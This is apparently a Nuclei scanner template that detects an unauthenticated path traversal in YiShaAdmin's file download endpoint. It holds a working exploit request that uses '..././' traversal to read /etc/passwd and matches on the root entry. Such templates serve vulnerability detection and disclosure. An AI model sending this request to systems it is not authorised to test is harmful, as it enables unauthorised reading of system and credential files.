id: yishaadmin-lfi

info:
  name: yishaadmin path traversal
  author: Evan Rubinstein
  severity: high
  description: An endpoint in yshaadmin "/admin/File/DownloadFile" was improperly secured, allowing for files to be downloaded, read or deleted without any authentication.
  reference:
    - https://huntr.dev/bounties/2acdd87a-12bd-4ce4-994b-0081eb908128/
    - https://github.com/liukuo362573/YiShaAdmin/blob/master/YiSha.Util/YiSha.Util/FileHelper.cs#L181-L186
  tags: lfi,yishaadmin

requests:
  - raw:
      - |
        GET /admin/File/DownloadFile?filePath=wwwroot/..././/..././/..././/..././/..././/..././/..././/..././etc/passwd&delete=0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200